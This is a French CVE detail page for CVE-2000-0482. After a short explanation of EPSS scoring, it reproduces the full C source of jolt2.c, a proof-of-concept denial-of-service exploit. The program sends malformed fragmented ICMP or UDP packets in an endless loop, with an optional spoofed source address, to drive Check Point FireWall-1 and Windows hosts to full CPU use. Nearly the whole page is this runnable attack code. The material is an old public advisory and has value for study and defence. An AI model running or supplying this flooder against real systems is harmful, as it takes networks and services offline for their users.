CVE-2000-0482 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/1312/info By sending illegally fragmented packets directly to or routed through Check Point FireWall-1, it is possible to force the firewall to use 100% of available processor time logging these packets. The FireWall-1 rulebase cannot prevent this attack and it is not logged in the firewall logs. /* * File: jolt2.c * Author: Phonix <phonix@moocow.org> * Date: 23-May-00 * * Description: This is the proof-of-concept code for the * Windows denial-of-serice attack described by * the Razor team (NTBugtraq, 19-May-00) * (MS00-029). This code causes cpu utilization * to go to 100%. * * Tested against: Win98; NT4/SP5,6; Win2K * * Written for: My Linux box. YMMV. Deal with it. * * Thanks: This is standard code. Ripped from lots of places. * Insert your name here if you think you wrote some of * it. It's a trivial exploit, so I won't take credit * for anything except putting this file together. */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <getopt.h> struct _pkt { struct iphdr ip; union { struct icmphdr icmp; struct udphdr udp; } proto; char data; } pkt; int icmplen = sizeof(struct icmphdr), udplen = sizeof(struct udphdr), iplen = sizeof(struct iphdr), spf_sck; void usage(char *pname) { fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); exit(0); } u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) { int bs, psize; unsigned long x; struct sockaddr_in to; to.sin_family = AF_INET; to.sin_port = 1235; to.sin_addr.s_addr = dst_addr; if (port) psize = iplen + udplen + 1; else psize = iplen + icmplen + 1; memset(&pkt, 0, psize); pkt.ip.version = 4; pkt.ip.ihl = 5; pkt.ip.tot_len = htons(iplen + icmplen) + 40; pkt.ip.id = htons(0x455); pkt.ip.ttl = 255; pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons (8190); if (port) { pkt.proto.udp.source = htons(port|1235); pkt.proto.udp.dest = htons(port); pkt.proto.udp.len = htons(9); pkt.data = 'a'; } else { pkt.proto.icmp.type = ICMP_ECHO; pkt.proto.icmp.code = 0; pkt.proto.icmp.checksum = 0; } while (1) { bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); } return bs; } int main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, bs=1, port=0; char hostname[32]; if (argc < 2) usage (argv[0]); gethostname (hostname, 32); src_addr = host_to_ip(hostname); while ((i = getopt (argc, argv, "s:p:h")) != EOF) { switch (i) { case 's': dst_addr = host_to_ip(optarg); if (!dst_addr) quit("Bad source address given."); break; case 'p': port = atoi(optarg); if ((port <=0) || (port > 65535)) quit ("Invalid port number given."); break; case 'h': default: usage (argv[0]); } } dst_addr = host_to_ip(argv[argc-1]); if (!dst_addr) quit("Bad destination address given."); spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) quit("IP_HDRINCL"); do_frags (spf_sck, src_addr, dst_addr, port); }